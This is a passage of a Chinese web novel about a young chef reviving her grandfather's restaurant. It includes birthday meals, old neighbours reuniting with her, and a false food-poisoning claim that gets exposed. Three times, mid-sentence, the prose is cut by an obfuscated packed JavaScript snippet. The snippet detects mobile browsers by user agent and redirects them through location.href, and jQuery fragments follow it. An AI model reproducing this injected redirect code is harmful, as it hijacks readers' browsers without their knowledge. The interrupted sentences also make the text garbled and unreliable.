“我有一个推荐。”潘悦宜微昂着头，不无得意的说道，“我知道一家店，味道又好，又不用排队，离学校还不太远！” ———— 刘漪生日当天，五个女孩急匆匆地冲进了南来饭馆。 刚一坐下，包莉莉就嚷着要赶紧点菜。“说是有两个小时，还得算上来回的路程，还有呢，悦宜说这里不是预制菜，出菜没那么快，咱们得快点决定吃什么。” 几个人传阅着菜单，包莉莉点了一份看着就清爽的柠檬鸡丝，小寿星刘漪要了份豆花肥牛，菜单传到潘悦宜手中，她扫了一眼，遗憾没看到自己对朋友们热情推荐的茄汁咸蛋黄豆腐，不过视线向下，一个可爱的菜名跃入眼帘。 “山药桃，我要点这个！”是山药和桃子做的甜品吗？听着就觉得有意思。 辛欢记下菜单快步走入厨房。 几个女孩百无聊赖的坐在桌边，环顾四周，客人不多不少，有独自前来的，也有结伴的，可是大家都十分安静，很少说话。 连大大咧咧的包莉莉都注意到了这不寻常的氛围，压低声音问潘悦宜：“这里有什么特别的规矩吗？怎么这么安静？” 潘悦宜奇怪道：“没有啊，我都来过几次了，从来没听说过什么规矩。” 她扫了一眼邻桌的客人，那两位年轻客人对坐着夹菜，手机远远的放在一旁，没人去动。筷子握在手里没有一刻离开，动作规律得像是被写入了夹菜——张嘴——吃饭的程序似的，只有每次饭菜入口时，眼神都泛起光彩，表情肉眼可见的陶醉，证明了他们还有神志。 潘悦宜好像有点明白了，但什么也没说。 柠檬鸡丝是最先上桌的。 大家都没动筷子，今天是朋友生日，不是普通聚餐，总得菜上齐了再开动才礼貌。 寿星刘漪见状说道：“赶紧吃啊，咱们时间这么紧，等下去就来不及吃多少东西了。” “大家能陪我出来吃饭过生日，我已经很开心了，别来这些客套的。”她这样说着，先探出筷子夹了几块鸡丝，刘漪一开这个头，大家都嘻嘻哈哈地动起来。 “唔！”刘漪惊讶地哼了一声，难以置信的向盘子里看了一眼，确认这真的是柠檬鸡丝。 刘漪动筷只是想让大家尽快吃饭，其实她不爱吃鸡肉，尤其是柠檬鸡丝这种菜，用的一般都是鸡胸肉，特别干柴，靠着浸在料汁里才带点滋味，没那么噎人。可是在刘漪看来，泡了水的柴也是柴。 可是刚刚入口的这块鸡肉，酸辣爽口不说，还特别柔嫩，不用怎么费劲，牙齿轻轻一拨就切断了机理，给人留下弹滑细腻的口感。咬到的一点鸡皮带着一丝韧劲，一闪而过，叫人念念不忘，想追上去再体验一回。 “好吃！”其他几人也纷纷开口夸赞。“这鸡丝好嫩啊！”“难怪价格贵，这是乌□□，而且也不是用的最便宜的鸡胸肉。” 也有不太能吃辣的连连吐舌，“辣味的后劲上来了，好辣！可是好爽！”口腔中褪去的辣度还历历在目，可是拿着筷子的手已经不由自主的伸出去了。 不出三分钟，盘底只剩下浅浅的料汁和细辣椒段，剩下的都被一扫而空，连垫底的黄瓜都不剩一片。 “哈哈哈，”刘漪笑得很开心，“抢着吃更香了对不对？！悦宜说的没错，这家饭馆真的有魔力，让人想把盘子都舔干净。” 守着空盘没多久，热腾腾的豆花肥牛端上了桌。 一股霸道强劲的香气席卷这一方小小的天地，瞬间把鸡丝残留在空气中的淡淡柠檬香驱赶的无影无踪。 在砂锅中堆起一个山尖的肥牛，撒着红绿相间的青红椒，刚从火上拿下来的汤汁还兀自冒着小泡，炸开醇厚扑鼻的香味。至于最洁白滑嫩的豆花，则藏在深处引人探索。 “咕噜。” “咕噜。” 哪怕刚刚分吃了一盘柠檬鸡丝，几人不但没感觉到饱，反而被酸辣开胃的鸡丝勾着更饿了。此时看到这样一大盘香气扑鼻的豆花肥牛，都不由得咽了一口口水。 大家对视一眼，还等什么，快开动吧！ 几双筷子齐刷刷伸了出去，各自收获一片在筷子尖上颤颤巍巍、薄如蝉翼的肥牛片。 性急的直接塞进嘴巴里，肥瘦相间的肥牛片带着浓郁的汁水铺遍口腔，鲜辣咸香瞬间席卷了一切。 吃菜必配饭的包莉莉把肥牛铺到米饭上，淋漓的汤汁渗进莹润的米饭里，筷子一卷，肥牛连带米饭一起入口。 牙齿碾过，那么薄的肥牛片却都吸饱了足足的汤汁，不仅丝毫不干柴，反而慷慨的释放出淳朴而浑厚的味道，还带着一丝若隐若现的清新豆花香，和米饭简直是绝配。 这份豆花肥牛，配上爱米饭星人最高的赞誉，“好下饭！” 筷子放下，包莉莉立刻拿起勺子，舀了一大勺汤汁到碗里，这才餍足地继续加入肥牛争夺战。 她现在明白到店的客人为什么都那么安静了，有这么好吃的饭菜在眼前，谁的嘴巴有那个空闲说话？ 一眨眼的功夫，几人碗中的米饭就肉眼可见的下去一大截，砂锅里上层的肥牛卷也被一扫而空，露出了埋在下方雪白的豆花。 豆花只能用勺子才舀得上来，一勺戳下去，手里的普通餐勺突然变成了削铁如泥的绝世武器，几乎感受不到任何阻力，就已经成功采得一勺微微颤动的豆花。 豆花看着素净寡淡，意外的很入味，细腻柔软到好像瞬间在舌尖融化一样，释放出汤汁的鲜美的同时，又不忘贡献出自己那份浅淡温柔的豆香。 “这个、这个……”潘悦宜指着锅里的豆花，激动地不知道该说什么好。 怎么能这么好吃！ 想让不耐煮的豆花也能完全入味，炖煮的方法和需要的汤汁都要下功夫。 南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097893|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荼用近十种香料炒出香味，加入高汤继续熬煮、调味，汤汁的雏形这才成型，豆花下到汤汁里，火不能大，时间也不能久，关火以后稍微等上一会儿，靠汤汁里剩余的热度闷出底味来，这才有豆花现在的滋味。 除了豆花肥牛，剩下的几道菜也很快被几个女孩吃得一干二净。 “吃了这个以后还怎么吃学校食堂啊！”包莉莉感叹道。 就在这时，山药桃姗姗来迟，不过作为一道甜品，出现在餐后也正是时候。 潘悦宜理解错了，所谓山药桃，不是山药和桃子煮的糖水之类的，而是用山药泥做的桃子。 山药蒸烂去皮后碾成泥，与糯米粉和在一起，捏出小巧玲珑的桃子形状，刀背在一侧压出一道沟纹，顶端捏尖，桃尖上端用苋菜红汁略刷上色，粉粉嫩嫩的小桃子就活灵活现。 几个女同学看了都十分喜欢，虽然肚子已经很饱，硬是把一盘山药桃分着吃了。 走出饭馆门口时，大家都不约而同地回望头顶的招牌，南来饭馆，他们记住了！ ———— 忙过了中午客人最多的这段时间，辛欢把每张桌子都擦得干干净净，不经意的向门外一望，顿时挺了腰，神情中闪过一丝疑惑。 “辛欢。”南荼在叫她了。 辛欢赶紧答应一声走过去。只见南荼指着放在白瓷盘上的两个粉嫩桃子说：“山药桃做起来麻烦，正好我一次多做了几个，你也尝尝。” “给我的？”辛欢顿时喜笑颜开，山药桃真的很漂亮，她趁着给客人送菜的时候盯着看了有一会儿，竟然被南荼注意到了。 她不喜欢虚情假意的推脱，南荼叫她吃，她也想吃，那就吃了。好东西吃下了肚，也记在心里，从此别忘了就对了。 “你喜欢哪种口味，糖桂花，还是樱桃酱？”南荼问道。 “樱桃酱！”辛欢想也不想的回答。 一勺樱桃酱淋了下来，顺着桃身圆润的弧度缓缓流淌，让山药桃变得更加莹润艳丽了。 辛欢拿起勺子，一勺削去小半个桃子尖。 入口是樱桃酱的酸甜，短暂地夺去人注意力后，山药和糯米的粉甜就透了出来，而且口感软糯，没有任何颗粒的粗糙感，简直就像在用舌尖抚摸丝绒一样。 她这样惊叹的时候，南荼只是笑笑说：“这说明你的山药泥筛得很细腻。” 不是的不是的！辛欢嘴巴忙活着，只好在心里疯狂摇头，平平淡淡的山药泥和糯米粉能实现这样惊艳的蜕变，只有南荼能够做到。 她一口气吃了两个山药桃。感觉自己这几天在南来饭馆吃到的好东西，比过去一辈子还要多。 南荼姐对她实在太好了，只要南荼姐愿意留她，她真想这在里干一辈子！ “对了，南荼姐，我这几天总看见一个老太太站在街对面朝我们店里张望。也不进来吃饭，不知道她想做什么。”虽然对方除了贼头贼脑的窥探以外暂时什么也没做，辛欢却生出一种莫名的警惕心，赶紧提醒南荼。 “只是张望吗？那也没什么。”虽然奇怪，可四处看看也没有罪，别说是站在街对面，就是进到饭馆里只张望不点菜，南荼也得对人客客气气的。 她只好说：“那下次再遇到这种事你提醒我一下。” 12. 山药桃 朋友的生日过后，很快就是外婆的生日了。 潘悦宜有点发愁，该送外婆什么东西做生日礼物呢？ 她只是一个学生，买不起多贵重的礼物。不过送礼看的是心意，相信哪怕她只是手写一张贺卡，外婆看到也一样会喜笑颜开。 但潘悦宜也想有点奇巧的心思，让外婆更加开心，而不是草草敷衍。 穿的……用的……吃的？ 她突然有了个主意。 外婆虽然做菜清淡，可她喜欢甜口的点心，这个潘悦宜是知道的。 那么把山药桃带给外婆尝尝怎么样？桃子——寿桃，寓意也好，这么一想，简直是完美。 为了这个计划不出差错，潘悦宜提前好几天就到南来饭馆，见山药桃已经从菜单上撤下来，顿时无助的捂住了脑袋。 “山药桃怎么没有了？是不卖了吗？” 得到今天没买山药的答复后，潘悦宜害怕这是这道菜下架的委婉托辞，赶紧说：“那我提前预定，能给我做一些吗？” “这个倒没问题。”南荼在潘悦宜说的日期记下备忘录，怕自己不小心忘了。“你这么爱吃山药桃吗？” “不是，我是想送给外婆……”话刚脱口而出，潘悦宜发现自己说的让人误解，赶紧解释道，“不是不是！我也爱吃，我的意思是，正是因为我爱吃，所以也想让我外婆在生日那天吃到。” 生日……南荼唇边不自觉地浮起一丝微笑，很快又收回来。她已经十分眼熟潘悦宜了，她还知道潘悦宜帮饭馆拉了不少客人，是个安利小能手。 “放心吧，当天来取就行。不过山药桃带回去后最好别放太久，尽快吃完。” “嗯嗯！” ———— 外婆生日当天，潘悦宜特意让来学校接她的潘父开车绕到南来饭馆附近一趟。 “我们订的酒店也不在这边吧？” “我就是来拿个东西，哎呀，不给你看。”潘悦宜神神秘秘的把打包好的盒子背到身后。 到了酒店包厢稍微坐等了一会儿，潘母带着外公外婆来了。 灯光洒在被鲜花装饰的桌面上，中间是一个精美的生日蛋糕，旁边订好的菜肴摆放了一圈，都是特意选的有好寓意的，潘悦宜悄悄看过菜单，什么“金玉满堂汤”、“四季平安”“吉祥如意炒饭”。现在谜底揭晓了，其实就是玉米萝卜排骨汤、炒四季豆和什锦炒饭。 唱完生日歌切完蛋糕，潘悦宜迫不及待地站起来，把自己为外婆准备的生日礼物送上。 外婆拆开包装，看见里面两排八个小巧可爱的桃子，神情有一丝恍惚。 “外婆，这个叫……”潘悦宜正准备介绍知道点心的名字。没想到外公和外婆两人脱口而出：“山药桃！” 潘悦宜讶然：“你们认识呀，我还以为这道甜品没有那么出名呢。我第一次看见它的名字，以为是山药泥和桃子瓣做的甜水。” “怎么不认识，”外婆露出一丝怀念之色，“从前这边的一家老饭馆的老板手艺特别好，他就会做这道山药桃，不过平日里的生意太火爆，山药桃做起来又麻烦，人家想点，他还不做！ 只有每年他的小孙女过生日的那天，只要是光顾饭馆的客人都能吃上一只山药桃，不要钱，白送的。一年只此一回，嘴馋的客人记他孙女的生日，比记自己的生日还清楚！” 说着，外婆小心的把山药桃分给大家：“悦悦送我的，你们也尝尝，这山药桃是先炸后蒸的，放久了外壳软了就不好吃了。” “炸的？”潘悦宜嘴巴张成o形，她自己不久前才吃过山药桃，都没发现这是炸过的，一点都感觉不到油腻，怎么会是炸的呢？ 外公接口道：“怎么不是炸的呢？山药泥和着糯米粉才能定型，可这也不够，一碰就散了，还继续加糯米粉吗？那可不成，糯米加多了还叫什么山药桃，叫糯米桃得了，要想山药的量足，就得想法子叫它不散。” “秘诀就在炸这一步上：不能丢进油锅里，油一滚，桃子一样不成形，火候还掌握不好，只能放在漏勺上，舀起热油反复浇在桃子上，等外皮结了一层软壳，这才定型了，可以上锅蒸熟，再浇上糖桂花。 哇。潘悦宜忍不住小幅度的鼓起掌来。好厉害，以为只是一道好吃的点心，没想到制作的时候费了这么多心思。 外婆催促大家：“赶紧尝尝吧。诶，这个红艳艳的是什么酱？从前都是只浇糖桂花的。” 八只山药桃，一半淋的是透明蜜汁点缀着黄色桂花的糖桂花，另一半则是殷红的樱桃酱，像闪着光泽的绸缎流淌过圆润的桃身，给一个个饱满的小桃子披上了华丽的红裳。 潘悦宜抢答道：“是樱桃酱，可能是老板改良的版本，现在好多年轻人不喜欢桂花的味道了。” 外公恪守传统，拿的山药桃也是糖桂花版本，此时哼了一声：“那是他们没吃过好的糖桂花！” 他拿起小勺，破坏完美的桃型时甚至有些不舍，可是送入口中时，桂花馥郁的香气瞬时直冲鼻腔，明明只是吃了一口，却感觉整个人都被这股香气浸染，身边乍然开出一簇金灿灿的丹桂，满树飘香。 等再略微咀嚼，山药和糯米的淡淡清香混着蜜汁的清甜浮现出来，桂花香气又变得温柔缱绻，不再霸道地夺去人的全部注意，而是一丝一缕的渗透进来，美得他闭目点头。 潘母拿的是浇樱桃酱的，想起老爸说过制作过程中的炸制，戳开桃子的时候特意留心，果然先是有一个极薄的酥壳，破开这道屏障，山药泥才恢复了它软糯的本色。 樱桃酱闪烁着诱人的光泽，淋到桃身上，把山药桃的颜色由纯白染上了淡淡的粉红，仿佛一张羞涩中又饱含期待的脸庞，更应和了樱桃酱入口的酸甜冲击，加上山药泥本身的细腻和绵密，二者在口中交织、碰撞，激发出前所未有的美妙滋味。 “这桃子怎么还有核！”吃着吃着，潘母突然惊道。 还不等有人回答，她自己先弄清了答案，露出笑容来，“哦~核竟然是枣泥做的。” “对了，妈，我刚才就想问了，我从前怎么没吃上这山药桃。这么精巧的点心，要是吃过我肯定记得。” 外婆露出一个是你没有口福的表情：“人家小孙女出生的时候，你都上大学了，这么多年都在外地，你到哪去吃？”至于几年前女儿一家举家搬回来，南来饭馆又已经……唉，不提也罢。 说起来，这道山药桃倒是和多年前他们吃到的有八分相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14097894|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似。 “悦悦，你这是在哪儿买的？”外婆追问道。虽然南来饭馆关门了，可有这么一道做山药桃和曾经大差不差的小店，也能让他们透过食物追忆一下过去不是？ 这么多年啊，一眨眼就过去了。 “是一家小饭馆，叫南来饭馆。外公外婆，你们也可以常去吃饭，那里离……” 南来饭馆！外公和外婆迅速交换了一个惊讶的眼神，这怎么可能，老南不是…… “你说的这个南来饭馆，老板是谁？”外公迅速追问。 潘悦宜下意识的为南荼说话：“老板很年轻，还很漂亮呢！看着就像刚毕业不久的大学生，不过厨艺没得说，我带去的同学都说她做的比那些开店十几年大厨做的都好吃。” 外公和外婆各自抓住了重点。“漂亮……是女孩？”“大学毕业……年纪好像也对的上。” 不会是……老南的小孙女吧？！ 潘母这时也想到了。“我怎么说那天听到南来饭馆这个名字怎么有点耳熟，小时候家附近不就有一家南来饭馆吗？后来是拆迁了还是怎么的，不会是一家人开的吧！” 潘悦宜记得自己有一次拍了饭馆外的招牌给同学看，赶忙拿给外公外婆看。 虽然位置不一样，装潢也变了，两人还是一眼就看到了熟悉的招牌，就是原来南来饭馆那块没错！ ———— 吃过饭从酒店离开后，老两口回到家里，点开从前老街坊的群聊，把嘴巴贴近手机话筒，中气十足地说道：“老南的孙女南荼回来开饭馆了！还叫南来饭馆，地点在……都是看着她长大的街坊，大家有时间去捧捧场！” 从前的街坊们有的拆迁后搬去了别处，有的投奔了儿女，只有少数如潘悦宜的外公外婆还住在老城区，七零八散以后自然没多少联系，群聊里上次有人说话还是两个星期前。 不过这段话发出不久，新的语音条陆陆续续弹了出来。 “真的假的，小南荼不是读大学去了吗？真的是她开的，不是重名的饭馆？” 潘悦宜的外婆确认道：“刚才我特意叫我女儿去店里问过了，就是南荼没错啊！” “大学早该读完了，不过老南心疼她，不是不准备叫她接手饭馆吗？” “现在研究这些有什么用，人家饭馆都开起来了，有没有要去捧场的？这些年没有南来饭馆，不知道少吃了多少有滋味的好东西。人活着为了啥，不就是一口吃的吗？南荼的手艺当年就有老南的七八成了，现在也不会差。” 有大娘关切道：“我也去，不过咱们要不要有个由头，突然一帮人就跑过去。” 一个大爷洪亮的声音传来：“要啥子由头啊，人要吃饭，天经地义！” 他这话说完，又传来一声怪声怪气的：“吃饭吃饭，天经地义！” 大家不用看群聊里的名字和头像就知道，这是爱养鹦鹉的乔大爷。 “去就去了，话多的可别拉着南荼念叨，反反复复说以前老掉牙的事，人家开店也忙，哪有那么多时间听你唠唠叨叨。” 大家絮絮地说了好些事项，约定明天中午有时间的几个街坊一起去南来饭馆，至于剩下的那一些，也都说自己最近要挑时间去看看。 13. 一锅鲜 第二天，这样一群爷爷奶奶颇有气势地在南来饭馆集合。 南荼还能从眼前这些人的脸上辨认出当年的模样，有些惊讶：“赵奶奶、乔爷爷、马大娘……？你们怎么突然来了，快请进！” 乔大爷提着鸟笼，慢悠悠地踏进来。笼子里的鸟儿也昂首挺胸，叫道：“用膳，用膳！” “长成大姑娘了！”他用赞赏的语气说道，“听说你把南来饭馆开起来了，我以前就说，南来饭馆后继有人，你爷爷还不爱听，我明明是夸人！” 潘悦宜的外婆赵素芬乍然见到多年未见的南荼，一恍惚，感觉自己脚下站着的还是原来那个空间逼仄却烟火气十足的南来饭馆，身边站的是还没那么老的老头子，女儿刚有了自己的女儿，手忙脚乱地当着妈妈。 时间的小河流呀流，当岸上的人还没有意识到的时候，它就已经流淌出很远很远了。 “真的是你，你爷爷病着的时候，我们这些街坊们去看他，他唯独放心不下你，让我们多照顾你，我们当时可是答应的好好的。 你看看现在，我们都老糊涂了，你回来开饭馆这么久，我们都不知道。要不是我们家悦悦在你这买了山药桃，我一吃，味道怎么这么熟悉，都不知道你把南来饭馆又开起来了！” 提起山药桃，南荼不由得眼眶微红，小时候每次生日临近，都不止她一个人期盼着这一天。生日当天，她更是这一片最有排面的孩子，那天走在饭馆附近的几条街上，所有认识她的人都会对她说生日快乐。 可想而知，爷爷的离去，对南荼来说无异于遮风避雨的大厦轰然倒塌，重新把南来饭馆开起来，也是想找回当年有家的感觉而已。 她吸了下鼻子，解释道：“这几年虽然也工作了，但怎么也放不下南来饭馆，开业也就是这一两个月的事，大家肯来捧场就很好了。我厨艺不精，怕是要让大家见笑了。” “我们哪能不相信你的手艺，当年……”马大娘话还没说完，门口的一声尖利的“你们老板在哪？赶紧出来！”打断了她的话。 南荼抬头，一个叉着腰的大妈气势汹汹地堵在饭馆门口，辛欢正站在旁边一脸焦急。 她刚刚看见这人，本想提醒南荼这位就是她之前说过的总在街对面探头探脑的那个，可南荼正和以前的老街坊说着话，她插不上嘴。 不过这次，这人竟然直奔着店里来了！ “我是老板，怎么了？”南荼走过来，觉得面前这位似乎有点眼熟。 “你就是老板？”大妈顿了几秒，眯了眯耷拉下来的三角眼，短暂的蓄力过后，大段的控诉喷薄而出：“我孙子昨天在你这吃了饭以后，肚子痛了一晚上，肯定是你这的东西不新鲜，东西卖的这么贵竟然还用烂菜坏菜，黑不黑心啊！可怜我的小孙子，折腾了一晚上，早上小脸煞白，连路都走不稳了！” 南荼正欲说话，身后的马大娘大步上前：“孙银凤，我刚刚过来的时候看见你孙子了，他不是好好的吗，还跟别的小孩比赛爬树呢！” 孙银凤没想到这里有认识她的人，吃了一惊：“我说的是昨天晚上的事儿，现在都中午了，当然是没那么严重了，不过他昨晚吃坏肚子这笔账不能这么算了。” “哦，”马大娘不置可否，“那你孙子昨天吃的啥？” 遇到熟人这个变故还是让孙银凤有些慌张，肚子里提前打好的草稿忘了大半，此时余光一瞥，指着一桌客人面前的砂锅说道：“就是这个，我忘了叫什么，反正里边有海鲜，海鲜不新鲜可是能吃死人的呦！哪有你这么开店的，我可怜的孙子……” 她突然哭嚎起来，还要往地上栽。一旁的辛欢眼疾手快地拉住她，孙银凤本来没把辛欢放在眼里，没想到栽了一下没栽动，又试了一下也没挣脱，只能在心里啐了一口，这小妮子真有力气！活该一辈子刷碗打杂的命！ 店里的其他客人见了这场闹剧，纷纷放下筷子，桌上的东西也不敢吃了，要等南荼给出个说法才行。 “我们家的食材都绝对新鲜，尤其是海鲜，绝对是当天采购，这位阿姨，你确定您孙子昨天吃的是这份‘一锅鲜’吗？”南荼冷静道。 “当然了！” 一旁的马大娘觉得这事有蹊跷。 好巧不巧，她认识孙银凤，更巧的是，她不怎么相信孙银凤说的话。孙银凤就和她住在一栋楼里，这人在他们小区都出了名。因为总喜欢翻垃圾桶找空瓶和纸片子，总把垃圾桶翻个底朝天，翻出来的东西又不收拾，为此三天两头和清洁工吵架，半个小区都能听清楚。 一开始马大娘还同情她，觉得是孙银凤家里有困难才这么节俭，就领她到自己家拿不要的废纸箱，没想到孙银凤拿了又嫌弃：“这么点东西还让我跑一趟。” 可把马大娘气坏了。 一边是跟她不对付的孙银凤，一边是自己看着长大的南荼，她当然下意识的站在南荼这边。 这么多年了，她能记住生日的小辈儿这么几个：自己的一个小孙女，两个外孙，再一个就是南荼。 这和自己家孩子有什么区别？ 于是趁南荼说话的时候，她悄悄从边上溜了出去。 “如果是食用我们家的菜品导致的身体不适，我一定会承担身体检查和休养的费用，还会按规定赔偿。但是现在有一个问题，阿姨，我们家的菜单经常变化，一锅鲜是今天才上的新品。你们家孩子是怎么在昨天吃到的？” 孙银凤哽住了。 很快她就强撑道：“谁记得你们起的这些乱七八糟的名字，一锅鲜两锅鲜的，反正昨天就是在你们这吃的饭，吃了就病了！” 她暗暗想，如果此时能在地上打滚蹬腿，效果会更好，这样站着直挺挺地站着，气势就不自觉的弱了许多，给对面的压力就小了。 想到这儿，孙银凤又转过头瞪了一眼拽住她不放的辛欢。 辛欢毫不留情的瞪回去，嘴巴无声的做着口型：“你放屁！” “你这小姑娘……”她正要伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14097895|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄悄掐辛欢一把，马大娘的声音传来了。 “你奶奶就在里面呢，要给你买大餐，快来快来！”说着，她带着孙银凤的孙子涛涛进来了。 孙银凤一听这话就急了，正要给孙子使眼色，乔大爷立刻迈出一步，隔在两人之间，把孙银凤整个人挡的严严实实。 马大娘问道：“涛涛，你还记不记得昨天晚上吃什么好东西了？” 涛涛想了想：“不是好东西，是面条，不好吃。” “你没吃着海鲜呀？那面条是谁做的？你奶奶说你肚子疼，不让你爬树，叫你回家躺着。” “奶奶做的。面条里的豆子酸酸的，我没吃，奶奶吃了才肚子疼，我不疼，不要回家躺着。” 孙银凤脸上一阵红一阵白。 真相大白，几个老街坊轮番道：“这不是讹人吗？根本就没来吃饭，还说孩子吃坏了肚子，这个报警是不是能抓进去？” “摆明了敲诈勒索。这个不仅能判刑，还有罚款！” “这年头开店多辛苦，看人家老板是个年轻人就动了歪心思，一大把年纪还这么无耻！” 一群奶奶大爷挡在南荼面前，七嘴八舌的，吓得孙银凤带着孙子转身就跑了。生生让南荼这个当事人像老母鸡翅膀底下的小鸡崽似的，没沾到一点风雨。 ———— 孙银凤落荒而逃，客人们也能安心吃饭了，南荼给每一桌送了盘凉菜压惊。这一招太拙劣，轻易被拆穿，眼见着没人相信，南来饭馆也没受什么负面影响。 南荼觉得自己应该不认识孙银凤，于是和刚刚帮忙的众人说：“我不知道是怎么得罪了她，要是想讹钱，我这里有监控做证据，昨天他们根本没来吃过饭，闹到哪儿去她也没法得手。” 街坊们也跟着猜测：“能干出这种事儿，也可能脑子不清醒，根本没想到有监控这茬呗。你要是急着息事宁人，她可不就拿着钱走了。” “会不会是附近哪个做餐饮的商户雇她来闹事的？南荼，你是不得罪人，但是你在这开店，就一定有人看你不顺眼。” 也是有这种可能，南荼露出忧心忡忡的表情。 马大娘不想让南荼成天提心吊胆，一拍桌子站起来：“你别担心，我去找孙银凤问问不就成了。她就不是干保密局的料！” 过了一会，马大娘回来了。她面色不虞：“真是恩将仇报的白眼狼！” 原来南荼刚开业时客流量不好，买来的食材用不完又不舍得丢了浪费，曾经看见孙银凤在翻附近的垃圾桶，以为她生活艰难，就送了一些食材给她。 最近南来饭馆生意好了，食材也不用送人了。孙银凤左等右等等不到免费的蔬菜，就来到饭馆附近，看到里面热热闹闹，一下就明白了是怎么回事。心里有怨气，就想着闹一闹，让饭馆生意又不好了，她不就又有不要钱的菜拿了？ 街坊们气坏了：“这都什么人？脑子不清醒！”“升米恩，斗米仇！”“不对，这明明是东郭先生与狼！” 14. 泡椒莴笋炖猪肚 这下轮到南荼安抚大家了。 “大家消消气，也不是什么大事，别扫了兴致。今天各位赏光到我这个小店来，不如我请大家吃顿饭吧！” 这话成功转移了众人的注意力。 “街坊们是来照顾你生意的，让你请客，岂不是我们这些人厚着脸皮占便宜了？”马大娘嘟囔道。 乔大爷说：“大爷缺这点钱吗？你个小年轻才赚了几年的钱，大爷我又赚了多少年的钱？请客的事就不要说了，快拿菜单来看看。” 他馋南来饭馆的饭菜都有好几年了，别的馆子也下了不少，就是没有那么合心意的，尤其是现在预制菜盛行，有的餐馆的厨子都不会炒菜，最常用的厨具是微波炉，简直让人笑掉大牙！ 鹦鹉适时接口道：“爷有钱，爷有钱！” 大家都笑了，辛欢递上菜单。 乔大爷点了刚刚差点被污蔑的一锅鲜，也是一种隐晦的力挺了。赵素芬夫妻俩要了一份莴笋炖猪肚，马大娘则点了蚂蚁上树这道家常菜。 “我自己在家里也做蚂蚁上树，总是觉得差了那么点滋味，不如南来饭馆的，也是念念不忘了好几年。” 南荼没有什么要藏着掖着的，直言道：“其实这道菜的秘诀就是把粉丝提前泡在牛骨高汤里，粉丝吸收了汤里的鲜味儿，做出来自然好吃。” 马大娘连忙摆出一副不听不听的架势：“哎呦，家里炒菜哪有高汤用，还是得来饭馆吃。” 看着菜点完了，南荼才回到后厨忙活。 猪肚是提前炖好的，只是没调味而已，否则客人这边点单，后厨根本来不及处理。在辛欢来帮忙之前，南荼从不考虑上以猪肚为原材料的菜品，处理起来麻烦，她一个人忙活不过来。 辛欢以前虽然没接触过厨艺，但是她勤快听话，南荼交代的事情都能认真仔细的做好，给她省了不少心。 蚂蚁上树是快手菜，材料也都准备好了，没什么麻烦的。 几道菜中，只有一锅鲜最有难度。一锅鲜顾名思义，所有鲜香的食材都在这锅里了。所以做一锅鲜时，南荼选的是鳜鱼、河蟹、螺蛳、蛤蜊和鳝鱼。 有些高档餐馆为了凑八鲜的名号，还会加上甲鱼、河蚌和青虾。 南来饭馆毕竟是小餐馆，一锅鲜的食材种类上来了，价格也骇人，反而不好卖。 虽然难度最高，但一锅鲜并不是难在调味上。实际上，有这么多自带鲜味的食材入场，这道菜的调味料反而很少。难的是把各种口感、味道、所需烹饪时长不同的食材调和在一起，让它们既有各自出彩的亮点，又能和谐统一。 菜色陆续上桌。街坊们兴致勃勃地动筷。 别的不说，只谈这卖相，这香味，就刺激的人食指大动。 晶莹剔透的粉丝吸饱了牛骨高汤的精华，变得湿润而富有弹性，仿佛细长的丝带轻轻摇曳，细碎的肉沫点缀在其间，每一粒都攀上了枝条，不愧为“上树”。 大家尝了后纷纷说：“还别说，就是比自己家做的蚂蚁上树好吃多了。”炒过的肉末依然香嫩可口，最重要的是既没有发干发柴，也没失去肉味儿，和滑爽的粉丝完美融合。 乔大爷品鉴道：“高汤的鲜味是调味料替代不了的，囫囵吞枣也许尝不出来，仔细一品，调料的那种又尖锐又单薄的鲜一咂摸就能吃出来。” 大家都开马大娘的玩笑：“秘诀南荼都告诉你了，不怕你学去，赶紧回家做来尝尝。” 马大娘赶紧道：“我可什么都没听见啊。”可别让她家那几个小祖宗听到，再叫她以后都用牛骨高汤泡过的粉丝做菜，这谁受得了，幸好今天没带他们来。 下一道菜是莴笋炖猪肚，其实全称应该是泡椒莴笋炖猪肚，有泡椒这个点睛之笔，让汤汁呈现一种浓郁的金红色，只看着就开胃，更别提飘在空气中的那股鲜香酸辣气息。 虽然诱人，但街坊们都上了年纪，有自己的顾虑，等赵素芬身先士卒，夹了一筷子做了这第一个吃螃蟹的人，大家才发问道：“辣不辣？”“能不能咬得动？” 赵素芬细嚼慢咽，等猪肚下了肚，才慢吞吞地道：“放在我年轻的时候，我肯定要告诉你们，辣得很、咬不动，这样一整锅都是我的了。现在吃不下那么多了，你们就偷着乐吧。” 她这样说，大家还有什么不明白的，喜滋滋地拿了碗去盛汤、盛猪肚。 